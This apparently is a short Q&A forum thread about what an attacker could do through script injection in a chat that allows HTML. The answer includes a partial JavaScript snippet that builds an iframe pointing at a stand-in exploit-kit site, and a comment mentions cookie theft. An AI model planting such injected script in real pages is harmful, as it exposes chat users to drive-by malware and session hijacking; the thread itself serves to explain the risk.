For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat?
What is the worst thing they could do?

1 Answer 1


Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";

Infect users with trojan horses , use them as bots, steal their money etc...

  • 1
    They could also do some XSS and steal their cookie(s) on that domain (which should hopefully only have their sessionID, but could still be dangerous). You could also go for "pranks" and play mysterious music, waste bandwidth, slow down their computer considerably, and scare them.
    – Vreality
    Jun 2, 2013 at 0:09
  • Yeah, any javascript holes are very bad. Can totally be exploited as you explained. Jun 3, 2013 at 5:44

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .